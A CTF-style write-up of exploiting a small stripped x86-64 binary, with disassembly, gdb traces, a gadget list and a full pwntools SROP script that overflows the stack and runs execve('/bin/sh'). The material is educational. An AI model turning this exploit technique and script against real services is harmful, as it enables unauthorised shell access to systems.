Rating: 4.0
2nd Writeup,
I talked to my Friend @Zopazz from the PWN() Discord Server
if u want to join ;) https://discord.gg/qJzgHZ5srj
So we talked about what i could learn next and he sends me this binary and gave me the Hint: Sigreturn()
ok first check what we have.
```
┌─[root@Daemon]─[~/ctf/some]
└──╼ #file some
some: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
```
as we can see it is statically linked so no linked functions from libc and it is a striped binary so gdb will have some problems so lets use a Decompier first.
I use cutter (https://github.com/rizinorg/cutter)
lets view the Disassembly i namend the functions read = eax=0 write = eax=1
```
;-- section..text:
;-- segment.LOAD1:
ssize_t read (int fildes, void *buf, size_t nbyte);
; arg int64_t arg1 @ rdi
; arg int64_t arg2 @ rsi
0x00401000 mov rdx, rsi ; arg2 ; [01] -r-x section size 100 named .text
0x00401003 mov rsi, rdi ; arg1
0x00401006 mov eax, 0
0x0040100b mov rdi, rax
0x0040100e syscall
0x00401010 ret
ssize_t write (int fd, const char *ptr, size_t nbytes);
; arg int64_t arg1 @ rdi
; arg int64_t arg2 @ rsi
0x00401011 mov rdx, rsi ; arg2
0x00401014 mov rsi, rdi ; arg1
0x00401017 mov eax, 1
0x0040101c mov rdi, rax
0x0040101f syscall
0x00401021 ret
int main (int argc, char **argv, char **envp);
0x00401022 push rbp
0x00401023 mov rbp, rsp
0x00401026 sub rsp, 0x1f4
0x0040102d movabs rdi, str.What_you_say_is_what_you_get. ; segment.LOAD2
; 0x402000
0x00401037 mov esi, 0x1f ; 31
0x0040103c call write ; ssize_t write(int fd, const char *ptr, size_t nbytes)
0x00401041 lea rdi, [rsp]
0x00401045 mov esi, 0x320 ; 800
0x0040104a call section..text ; read ; ssize_t read(int fildes, void *buf, size_t nbyte)
0x0040104f lea rdi, [rsp]
0x00401053 mov rsi, rax
0x00401056 call write ; ssize_t write(int fd, const char *ptr, size_t nbytes)
0x0040105b leave
0x0040105c ret
entry0 ();
0x0040105d call main ; int main(int argc, char **argv, char **envp)
0x00401062 jmp entry0
```
ok so on the first view i can see that we entry at entry0 that calls main that writes 'What_you_say_is_what_you_get.' and before that it creates a stackframe at `0x00401023 mov rbp, rsp` and `0x00401026 sub rsp, 0x1f4` so we have a 0x1f4 so a 500 byte stackFrame.
than it asks for up to 0x320 ; 800 bytes of input
lets try to throw some b'A' at it and get a sense of whats going on before trying to break it.
`gdb ./some` than run it with `r` and when we are asked for input we do ctrl+c to break and continue in gdb gef.
we are at `$rip : 0x0000000000401010 → ret` we set a breakpoint here with `b *0x401010` actualy we are still in the read() that was called by the `0x000000000040100e → syscall` that asks for input ... lets throw `AAAABBBBCCCCDDDD` so we are sending 16 bytes + 1 byte for the \n at the end =17 bytes or in hex 0x11
```
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x11
$rbx : 0x0
$rcx : 0x0000000000401010 → ret
$rdx : 0x320
$rsp : 0x00007fffffffdf34 → 0x000000000040104f → lea rdi, [rsp]
$rbp : 0x00007fffffffe130 → 0x0000000000000000
$rsi : 0x00007fffffffdf3c → "AAAABBBBCCCCDDDD\n"
$rdi : 0x0
$rip : 0x0000000000401010 → ret
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x216
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf34│+0x0000: 0x000000000040104f → lea rdi, [rsp] ← $rsp
0x00007fffffffdf3c│+0x0008: "AAAABBBBCCCCDDDD\n" ← $rsi
0x00007fffffffdf44│+0x0010: "CCCCDDDD\n"
0x00007fffffffdf4c│+0x0018: 0x000000000000000a
0x00007fffffffdf54│+0x0020: 0x0000000000000000
0x00007fffffffdf5c│+0x0028: 0x0000000000000000
0x00007fffffffdf64│+0x0030: 0x0000000000000000
0x00007fffffffdf6c│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401006 mov eax, 0x0
0x40100b mov rdi, rax
0x40100e syscall
●→ 0x401010 ret
↳ 0x40104f lea rdi, [rsp]
0x401053 mov rsi, rax
0x401056 call 0x401011
0x40105b leave
0x40105c ret
0x40105d call 0x401022
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "some", stopped 0x401010 in ?? (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401010 → ret
[#1] 0x40104f → lea rdi, [rsp]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```
as we can see it sets rax=0x11 which es basicaly len(input) and now our input is on top of the stack in the rsp since the ret; poped of the 0x000000000040104f into rip.
`0x40104f lea rdi, [rsp]` will load the addr `0x00007fffffffdf3c` into rdi which than holds our 'AAAABBBBCCCCDDDD\n'
`0x401053 mov rsi, rax ` will load rax=0x11 into rsi.
`0x401056 call 0x401011 ` calls the write function that sets rax=0x1 and prints our output to rax=1 so stdout
`0x40105b leave` will exit the main() back to entry0 that will run main() so we are in a loop.
ok we understand whats going on and we basically have controll over the rax from 1-800 so from 0x1 to 0x320
time to throw a lot more b'A' maybe we can overwrite the rsp lets throw `b'A'*500 + b'BBBBBBBB' + b'CCCCDDDD'`
so we can see that after the program run at `0x40105b leave;` followed by a `0x40105c ret;` it will load 'CCCCDDDD\n' into the rsp
and than ret; (what basically does pop rip;) what will load rsp into rip.
```
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x205
$rbx : 0x0
$rcx : 0x0000000000401021 → ret
$rdx : 0x205
$rsp : 0x00007fffffffe138 → "CCCCDDDD\n"
$rbp : 0x4242424242424242 ("BBBBBBBB"?)
$rsi : 0x00007fffffffdf3c → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x1
$rip : 0x000000000040105c → ret
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x216
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe138│+0x0000: "CCCCDDDD\n" ← $rsp
0x00007fffffffe140│+0x0008: 0x000000000000000a
0x00007fffffffe148│+0x0010: 0x00007fffffffe439 → "/root/ctf/some/some"
0x00007fffffffe150│+0x0018: 0x0000000000000000
0x00007fffffffe158│+0x0020: 0x00007fffffffe44d → "SHELL=/usr/bin/bash"
0x00007fffffffe160│+0x0028: 0x00007fffffffe461 → "SESSION_MANAGER=local/Daemon:@/tmp/.ICE-unix/888,u[...]"
0x00007fffffffe168│+0x0030: 0x00007fffffffe4b1 → "WINDOWID=0"
0x00007fffffffe170│+0x0038: 0x00007fffffffe4bc → "QT_ACCESSIBILITY=1"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401053 mov rsi, rax
0x401056 call 0x401011
0x40105b leave
→ 0x40105c ret
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "some", stopped 0x40105c in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40105c → ret
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```
ok we note that we have controll over the rax and we can write up to 800 bytes into the stack and overflow it.
on the other side we have to deal with NX and ASLR
here was the point i strugelded a bit i checked vmmap where we can see than NX is enabled means we cant execute sellcode from the stack.
```
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /root/ctf/some/some
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /root/ctf/some/some
0x0000000000402000 0x0000000000403000 0x0000000000002000 rw- /root/ctf/some/some
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
```
i thought ok maybe we can ROP and i checked ropper to find avilable gadgets
```
Gadgets
=======
0x0000000000401007: add byte ptr [rax], al; add byte ptr [rax], al; mov rdi, rax; syscall;
0x0000000000401007: add byte ptr [rax], al; add byte ptr [rax], al; mov rdi, rax; syscall; ret;
0x0000000000401009: add byte ptr [rax], al; mov rdi, rax; syscall;
0x0000000000401009: add byte ptr [rax], al; mov rdi, rax; syscall; ret;
0x0000000000401018: add dword ptr [rax], eax; add byte ptr [rax], al; mov rdi, rax; syscall;
0x0000000000401018: add dword ptr [rax], eax; add byte ptr [rax], al; mov rdi, rax; syscall; ret;
0x000000000040100f: add eax, 0xf28948c3; mov rsi, rdi; mov eax, 1; mov rdi, rax; syscall;
0x0000000000401052: and al, 0x48; mov esi, eax; call 0x1011; leave; ret;
0x000000000040104a: call 0x1000; lea rdi, [rsp]; mov rsi, rax; call 0x1011; leave; ret;
0x0000000000401056: call 0x1011; leave; ret;
0x0000000000401051: cmp al, 0x24; mov rsi, rax; call 0x1011; leave; ret;
0x000000000040104e: dec dword ptr [rax - 0x73]; cmp al, 0x24; mov rsi, rax; call 0x1011; leave; ret;
0x000000000040105a: dec ecx; ret;
0x0000000000401050: lea edi, [rsp]; mov rsi, rax; call 0x1011; leave; ret;
0x000000000040104f: lea rdi, [rsp]; mov rsi, rax; call 0x1011; leave; ret;
0x0000000000401006: mov eax, 0; mov rdi, rax; syscall;
0x0000000000401006: mov eax, 0; mov rdi, rax; syscall; ret;
0x0000000000401017: mov eax, 1; mov rdi, rax; syscall;
0x0000000000401017: mov eax, 1; mov rdi, rax; syscall; ret;
0x000000000040100c: mov edi, eax; syscall;
0x000000000040100c: mov edi, eax; syscall; ret;
0x0000000000401001: mov edx, esi; mov rsi, rdi; mov eax, 0; mov rdi, rax; syscall;
0x0000000000401001: mov edx, esi; mov rsi, rdi; mov eax, 0; mov rdi, rax; syscall; ret;
0x0000000000401012: mov edx, esi; mov rsi, rdi; mov eax, 1; mov rdi, rax; syscall;
0x0000000000401012: mov edx, esi; mov rsi, rdi; mov eax, 1; mov rdi, rax; syscall; ret;
0x0000000000401054: mov esi, eax; call 0x1011; leave; ret;
0x0000000000401004: mov esi, edi; mov eax, 0; mov rdi, rax; syscall;
0x0000000000401004: mov esi, edi; mov eax, 0; mov rdi, rax; syscall; ret;
0x0000000000401015: mov esi, edi; mov eax, 1; mov rdi, rax; syscall;
0x0000000000401015: mov esi, edi; mov eax, 1; mov rdi, rax; syscall; ret;
0x000000000040100b: mov rdi, rax; syscall;
0x000000000040100b: mov rdi, rax; syscall; ret;
0x0000000000401000: mov rdx, rsi; mov rsi, rdi; mov eax, 0; mov rdi, rax; syscall;
0x0000000000401000: mov rdx, rsi; mov rsi, rdi; mov eax, 0; mov rdi, rax; syscall; ret;
0x0000000000401011: mov rdx, rsi; mov rsi, rdi; mov eax, 1; mov rdi, rax; syscall;
0x0000000000401011: mov rdx, rsi; mov rsi, rdi; mov eax, 1; mov rdi, rax; syscall; ret;
0x0000000000401053: mov rsi, rax; call 0x1011; leave; ret;
0x0000000000401003: mov rsi, rdi; mov eax, 0; mov rdi, rax; syscall;
0x0000000000401003: mov rsi, rdi; mov eax, 0; mov rdi, rax; syscall; ret;
0x0000000000401014: mov rsi, rdi; mov eax, 1; mov rdi, rax; syscall;
0x0000000000401014: mov rsi, rdi; mov eax, 1; mov rdi, rax; syscall; ret;
0x000000000040105b: leave; ret;
0x0000000000401010: ret;
0x000000000040100e: syscall;
0x000000000040100e: syscall; ret;
```
that does not look good i cant spot a pop gadget so we cant pop directly into a register.
i had no idea so i asked @Zopazz for a little Hint... Sigreturn
ok what is Sigreturn... i looked up the man page https://man7.org/linux/man-pages/man2/sigreturn.2.html
it basically pops the stack into all of the registes so we have to build a sigreturnFrame on our stack.
```
####################
FPSTATE #
####################
MASK #
####################
_RESERVED #
####################
&FPSTATE #
####################
CR2 #
####################
OLDMASK #
####################
TRAPNO #
####################
ERR #
####################
CS |GS |FS | #
####################
EFLAGS #
####################
RIP #
####################
RSP #
####################
RCX #
####################
RAX #
####################
RDX #
####################
RBX #
####################
RBP #
####################
RSI #
####################
RSI #
####################
RDI #
####################
R15 #
####################
... #
####################
R8 #
####################
SS_SIZE #
####################
SS_FLAGS #
####################
SS_SP #
####################
UC_LINK #
####################
UC_FLAGS #
####################
RIP = SIGRETURN #
####################
saved rbp #
####################
```
ok building this by hand would take a loooooooong time :D so good that we have python3 and pwntools.
pwntools can build the SigreturnFrame for us.
so we want to Write somewhere in this region `0x0000000000402000 0x0000000000403000 0x0000000000002000 rw- /root/ctf/some/some` as this is the only region where we can write to and it is not affected by ASLR.
```
frame1 = SigreturnFrame(kernel='amd64')
frame1.rip = 0x40100e #rip = addr of gadget(syscall; ret;)
frame1.rdi = 0x0 #rdi = 0 read from stdin
frame1.rsi = 0x40203b #rsi = arg1 = where we want to save the input 0x0000000000402000 0x0000000000403000 0x0000000000002000 rw- /root/ctf/some/some since only Aslr is enabled we choose this sctions as it is not affected by aslr only by PIE which is not active so these addresses will not get randomized
frame1.rdx = 0x320 #rdx = arg2 = how much bytes we can read in
frame1.rax = 0x0 #rax = syscall read(rdi,rsi,rdx) this reads our input(stdin) and stores it at rsi & rsp since they are on the same addres now
frame1.rsp = 0x40203b #set rsp
frame1.rbp = 0x402043 #set rbp
```
ok our frame is rdy now we construct the 1st payload
```
#1st input
payload1 = b'A'*500 # fill the buffer
payload1 += b'\x00'*8 # fill the rbp
payload1 += p64(0x401006) #1st ret # places the ret point to 0x00401006 gadget( mov eax,0 ;mov rdi,rax; syscall ; ret; )
payload1 += p64(0x40100e) #2nd ret # places the ret point to 0x0040100e gadget( syscall ; ret;) that than executes sigret() that sets the registers for syscall again now as read(0x0,40203b,0x320) which stores our input beginning at 0x40203b
payload1 += bytes(frame1) #places the SigretrunFrame on the Stack for the sigreturn() that gets poped into the registers
sl(payload1)
```
this will fill the buffer with 508 bytes of junk than sest a read() and a syscall() gadget on the stack and than our prepared SigreturnFrame.
than we jump to 0x401006 which is our read() we input 15 bytes to set rax=0xf which is the argument for syscall sigreturn()
```
payload2 = b'ABCDEFGHIJKLM\x00'
sl(payload2)
```
than we ret; to 0x40100e which is a syscall with the argument rax=0xf so a syscall sigreturn that load our SigreturnFrame.
we prepared the frame that rip pointd to a syscall rax(rdi,rsi,rdx) that will be executed next.
`rax = 0x0` so read()
`rdi = 0x0` so from stdin
`rsi = 0x40203b` which is the addr where our new stackframe starts ( rsp and rbp were defined by the Sigreturn)
`rdx = 0x320` so up to 800 bytes (we will need to write the /bin/sh as far into memory as possible ... with my solution but more later)
now we can input our next Payload that will place 2 read() gadgets on the stack and our /bin/sh string into 0x402353 and uses 800 bytes so our /bin/sh\00 string starts at 0x402353 so there are basically 792 bytes that we dont care about if they change in furter read().
```
payload3 = p64(0x401006) + p64(0x401006) + b'A'*776 +b'/bin/sh\x00'
sl(payload3)
```
now we can create the next SigreturnFrame for our execve(/bin/sh,0,0) as we now have the /bin/sh string in a place of memory that is not afected by ASLR
```
frame2 = SigreturnFrame(kernel='amd64')
frame2.rip = 0x40100e #rip = addr of syscall gadget
frame2.rdi = 0x402353 #rdi = addr of "/bin/sh"
frame2.rsi = 0x0 #rsi = arg1
frame2.rdx = 0x0 #rdx = arg2
frame2.rax = 0x3b #rax = execve
```
than we create our next payload as we are now on the 1st of the 2 read() which we wrote on the stack in the last step.
read(0,0x40203b,0x320) which will not overwrite our /bin/sh since we are only sending 280 bytes.
```
payload = b'A'*8 #fill the buffer
payload += b'B'*8 #fill the rbp
payload += p64(0x401006) #5th ret point to read() again to setup the rax to 0xf
payload += p64(0x40100e) #6th ret point to sigret() that setup the registers and sets rip to a syscall than executes execve(/bin/sh,0,0)
payload += bytes(frame2)
sl(payload)
```
that stores another read() and a syscall() gadget and our 2nd SigreturnFrame on the Stack.
we ret; to the 2nd 0x401006 read() that sets our rax=0xf')
```
payload = b'ABCDEFGHIJKLMN' #14 bytes + 1 from the \n at the end =0xf
sl(payload)
```
now we ret: to 0x40100e syscall 0xf which is a syscall sigreturn() again.
our SigreturnFrame gets loadet and rip is set to another syscall() now with registes setup to syscall 0x3b(0x402353,0,0) which means syscall execve(/bin/sh,0,0)
ok now we put all of it together and add some informations whats going on ... and i addet some breaks for better debugging.
Here is my Exploit
```
#!/usr/bin/env python3
from pwn import *
fname = './some'
ip = ''#change this
port = ''#change this
context.arch = 'amd64'
elf = ELF(fname)
context.update(os='linux', arch='amd64')
x = 1
LOCAL = True
if LOCAL:
r = process(fname,aslr=True)
else:
r = remote(ip, port)
rl = lambda : r.recvline()
sl = lambda x : r.sendline(x)
inter = lambda : r.interactive()
def pwn():
#Stage 1 writes /bin/sh\x00 into memory at 0x40203b + 792 = 0x402353
frame1 = SigreturnFrame(kernel='amd64')
frame1.rip = 0x40100e #rip = addr of gadget(syscall; ret;)
frame1.rdi = 0x0 #rdi = 0 read from stdin
frame1.rsi = 0x40203b #rsi = arg1 = where we want to save the input 0x0000000000402000 0x0000000000403000 0x0000000000002000 rw- /root/ctf/some/some since only Aslr is enabled we choose this sctions as it is not affected by aslr only by PIE which is not active so these addresses will not get randomized.
frame1.rdx = 0x320 #how much bytes we can pass
frame1.rax = 0x0 #rax = syscall read(rdi,rsi,rdx) this reads our input(stdin) and stores it at rsi & rsp since they are on the same addres now
frame1.rsp = 0x40203b #set rsp
frame1.rbp = 0x402043 #set rbp
#1st input
payload1 = b'A'*500 # fill the buffer
payload1 += b'\x00'*8 # fill the rbp
payload1 += p64(0x401006)
payload1 += p64(0x40100e)
payload1 += bytes(frame1) #places the sigret frame on the stack for the sigreturn() that gets poped into the registers
sl(payload1)
log.info('Frame for Sigreturn created')
log.info('initial Input send!')
log.info('1# we fill the buffer')
log.info('2# we set our gadgets')
log.info('3# we place the SigreturnFrame')
input("Press Enter to continue...")
log.info('4# our 2nd input from the 1st ret sets rax=0xf which is the argument for syscall sigret()')
log.info('5# we execute syscall sigret() which places our SigreturnFrame into all registers')
#print(rl())
payload2 = b'ABCDEFGHIJKLM\x00'
sl(payload2)
input("Press Enter to continue...")
log.info('6# our sigret() setup a read() with rax=0 from rdi=0 stdin into rsi=0x40203b , rdx=0x320 and executes it as it sets the rip to the next syscall() at rip=0x40100e')
log.info('7# our 3rd input from the 2nd ret; to read(0,0x40203b,0x320) that sets next ret; to a read() again')
log.info('8# we read in our input and setup 3rd and 4th ret points both to the read() than stores /bin/sh to 0x402353')
sleep(x)
payload3 = p64(0x401006) + p64(0x401006) + b'A'*776 +b'/bin/sh\x00'
sl(payload3)
#Stage 2 execve(/bin/sh,0,0)
log.info('9# we create the next SigreturnFrame')
frame2 = SigreturnFrame(kernel='amd64')
frame2.rip = 0x40100e #rip = addr of syscall gadget
frame2.rdi = 0x402353 #rdi = addr of "/bin/sh"
frame2.rsi = 0x0 #rsi = arg1
frame2.rdx = 0x0 #rdx = arg2
frame2.rax = 0x3b #rax = execve
input("Press Enter to continue...")
log.info('10# we ret; to our 1st 0x401006 read(0,0x40203b,0x320) that stores a read and a syscall gadget and the 2nd SigreturnFrame on the Sack')
sleep(x)
payload = b'A'*8 #fill the buffer
payload += b'B'*8 #fill the rbp
payload += p64(0x401006) #5th ret point to read() again to setup the rax to 0xf
payload += p64(0x40100e) #6th ret point to sigret() that setup the registers and sets rip to a syscall than executes execve(/bin/sh,0,0)
payload += bytes(frame2)
sl(payload)
input("Press Enter to continue...")
log.info('11# we ret; to the 2nd 0x401006 and again to a read() that sets our rax=0xf')
sleep(x)
payload = b'ABCDEFGHIJKLMN' #14 bytes + 1 from the \n at the end =0xf
sl(payload)
log.info('now the 2nd SigreturnFrame gets loaded into registers that setup a syscall for exeve(0x402353,0,0) and executes it')
log.info('0x402353 contains our /bin/sh string')
log.info('GG we get a shell :)')
inter()
if __name__ == '__main__':
pwn()
```